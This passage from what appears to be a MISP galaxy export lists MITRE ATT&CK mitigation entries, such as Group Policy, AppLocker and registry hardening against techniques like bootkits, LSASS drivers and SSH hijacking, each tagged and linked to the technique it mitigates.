Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Screensaver Mitigation - T1180"*

Screensaver Mitigation - T1180 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Screensaver - T1180" with estimative-language:likelihood-probability="almost-certain"

Accessibility Features Mitigation - T1015

To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)

If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)

Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Accessibility Features Mitigation - T1015"*

Accessibility Features Mitigation - T1015 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"

Bootkit Mitigation - T1067

Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Bootkit Mitigation - T1067"*

Bootkit Mitigation - T1067 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"

Valid Accounts Mitigation - T1078

Take measures to detect or prevent techniques such as Credential Dumping or installation of keyloggers to acquire credentials through Input Capture. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Valid Accounts Mitigation - T1078"*

Valid Accounts Mitigation - T1078 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Browser Extensions Mitigation - T1176

Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.

Browser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)

Change settings to prevent the browser from installing extensions without sufficient permissions.

Close out all browser sessions when finished using them.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Browser Extensions Mitigation - T1176"*

Browser Extensions Mitigation - T1176 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"

Disabling Security Tools Mitigation - T1089

Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Disabling Security Tools Mitigation - T1089"*

Disabling Security Tools Mitigation - T1089 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"

Query Registry Mitigation - T1012

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Query Registry Mitigation - T1012"*

Query Registry Mitigation - T1012 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

.bash_profile and .bashrc Mitigation - T1156

Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action=".bash_profile and .bashrc Mitigation - T1156"*

bash_profile and .bashrc Mitigation - T1156 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern=".bash_profile and .bashrc - T1156" with estimative-language:likelihood-probability="almost-certain"

System Firmware Mitigation - T1019

Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="System Firmware Mitigation - T1019"*

System Firmware Mitigation - T1019 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"

Multiband Communication Mitigation - T1026

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Multiband Communication Mitigation - T1026"*

Multiband Communication Mitigation - T1026 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"

Remote System Discovery Mitigation - T1018

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Remote System Discovery Mitigation - T1018"*

Remote System Discovery Mitigation - T1018 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

File and Directory Discovery Mitigation - T1083

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="File and Directory Discovery Mitigation - T1083"*

File and Directory Discovery Mitigation - T1083 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Kernel Modules and Extensions Mitigation - T1215

Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.

LKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.

Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Kernel Modules and Extensions Mitigation - T1215"*

Kernel Modules and Extensions Mitigation - T1215 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"

File System Permissions Weakness Mitigation - T1044

Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)

Turn off UAC’s privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]</code>to automatically deny elevation requests, add: <code>"ConsentPromptBehaviorUser"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>"EnableInstallerDetection"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>"EnableInstallerDetection"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="File System Permissions Weakness Mitigation - T1044"*

File System Permissions Weakness Mitigation - T1044 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"

Service Execution Mitigation - T1035

Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.

Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Service Execution Mitigation - T1035"*

Service Execution Mitigation - T1035 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"

Setuid and Setgid Mitigation - T1166

Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Setuid and Setgid Mitigation - T1166"*

Setuid and Setgid Mitigation - T1166 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Setuid and Setgid - T1166" with estimative-language:likelihood-probability="almost-certain"

Trap Mitigation - T1154

Due to potential legitimate uses of trap commands, it’s may be difficult to mitigate use of this technique.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Trap Mitigation - T1154"*

Trap Mitigation - T1154 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Trap - T1154" with estimative-language:likelihood-probability="almost-certain"

Communication Through Removable Media Mitigation - T1092

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Communication Through Removable Media Mitigation - T1092"*

Communication Through Removable Media Mitigation - T1092 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"

Two-Factor Authentication Interception Mitigation - T1111

Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.

Identify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Two-Factor Authentication Interception Mitigation - T1111"*

Two-Factor Authentication Interception Mitigation - T1111 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Two-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"

LSASS Driver Mitigation - T1177

On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.

On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)

Ensure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session

Manager\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="LSASS Driver Mitigation - T1177"*

LSASS Driver Mitigation - T1177 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"

Standard Non-Application Layer Protocol Mitigation - T1095

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Standard Non-Application Layer Protocol Mitigation - T1095"*

Standard Non-Application Layer Protocol Mitigation - T1095 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

Data Transfer Size Limits Mitigation - T1030

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Data Transfer Size Limits Mitigation - T1030"*

Data Transfer Size Limits Mitigation - T1030 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

AppInit DLLs Mitigation - T1103

Upgrade to Windows 8 or later and enable secure boot.

Identify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="AppInit DLLs Mitigation - T1103"*

AppInit DLLs Mitigation - T1103 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"

InstallUtil Mitigation - T1118

InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="InstallUtil Mitigation - T1118"*

InstallUtil Mitigation - T1118 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="InstallUtil - T1118" with estimative-language:likelihood-probability="almost-certain"

Shortcut Modification Mitigation - T1023

Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)

Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Shortcut Modification Mitigation - T1023"*

Shortcut Modification Mitigation - T1023 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"

Custom Command and Control Protocol Mitigation - T1094

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Custom Command and Control Protocol Mitigation - T1094"*

Custom Command and Control Protocol Mitigation - T1094 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Automated Exfiltration Mitigation - T1020

Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Automated Exfiltration Mitigation - T1020"*

Automated Exfiltration Mitigation - T1020 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

Supply Chain Compromise Mitigation - T1195

Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.

Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): * Uniquely Identify Supply Chain Elements, Processes, and Actors * Limit Access and Exposure within the Supply Chain * Establish and Maintain the Provenance of Elements, Processes, Tools, and Data * Share Information within Strict Limits * Perform SCRM Awareness and Training * Use Defensive Design for Systems, Elements, and Processes * Perform Continuous Integrator Review * Strengthen Delivery Mechanisms * Assure Sustainment Activities and Processes * Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Supply Chain Compromise Mitigation - T1195"*

Supply Chain Compromise Mitigation - T1195 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"

Change Default File Association Mitigation - T1042

Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)

Identify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Change Default File Association Mitigation - T1042"*

Change Default File Association Mitigation - T1042 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Change Default File Association - T1042" with estimative-language:likelihood-probability="almost-certain"

Peripheral Device Discovery Mitigation - T1120

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Peripheral Device Discovery Mitigation - T1120"*

Peripheral Device Discovery Mitigation - T1120 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

Control Panel Items Mitigation - T1196

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly.

Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

Restrict storage and execution of Control Panel items to protected directories, such as C:\Windows, rather than user directories.

Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.

Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Control Panel Items Mitigation - T1196"*

Control Panel Items Mitigation - T1196 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Control Panel Items - T1196" with estimative-language:likelihood-probability="almost-certain"

Standard Application Layer Protocol Mitigation - T1071

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Standard Application Layer Protocol Mitigation - T1071"*

Standard Application Layer Protocol Mitigation - T1071 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

HISTCONTROL Mitigation - T1148

Prevent users from changing the <code>HISTCONTROL</code> environment variable (Citation: Securing bash history). Also, make sure that the <code>HISTCONTROL</code> environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="HISTCONTROL Mitigation - T1148"*

HISTCONTROL Mitigation - T1148 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="HISTCONTROL - T1148" with

estimative-language:likelihood-probability="almost-certain"

Input Capture Mitigation - T1056

Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

In cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of Valid Accounts.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Input Capture Mitigation - T1056"*

Input Capture Mitigation - T1056 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Login Item Mitigation - T1162

Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Login Item Mitigation - T1162"*

Login Item Mitigation - T1162 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Login Item - T1162" with estimative-language:likelihood-probability="almost-certain"

Security Support Provider Mitigation - T1101

Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Security Support Provider Mitigation - T1101"*

Security Support Provider Mitigation - T1101 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"

SSH Hijacking Mitigation - T1184

Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="SSH Hijacking Mitigation - T1184"*

SSH Hijacking Mitigation - T1184 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"

Process Discovery Mitigation - T1057

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Process Discovery Mitigation - T1057"*

Process Discovery Mitigation - T1057 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Remote Access Tools Mitigation - T1219

Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.

Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.

Use application whitelisting to mitigate use of and installation of unapproved software.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Remote Access Tools Mitigation - T1219"*

Remote Access Tools Mitigation - T1219 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"

Replication Through Removable Media Mitigation - T1091

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)

Identify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Replication Through Removable Media Mitigation - T1091"*

Replication Through Removable Media Mitigation - T1091 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

Scheduled Transfer Mitigation - T1029

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Scheduled Transfer Mitigation - T1029"*

Scheduled Transfer Mitigation - T1029 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"

Hypervisor Mitigation - T1062

Prevent adversary access to privileged accounts necessary to install a hypervisor.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Hypervisor Mitigation - T1062"*

Hypervisor Mitigation - T1062 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Hypervisor - T1062" with estimative-language:likelihood-probability="almost-certain"

Automated Collection Mitigation - T1119

Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through Input Capture and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through Brute Force techniques.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Automated Collection Mitigation - T1119"*

Automated Collection Mitigation - T1119 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

Exfiltration Over Physical Medium Mitigation - T1052

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Exfiltration Over Physical Medium Mitigation - T1052"*

Exfiltration Over Physical Medium Mitigation - T1052 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"

Application Shimming Mitigation - T1138

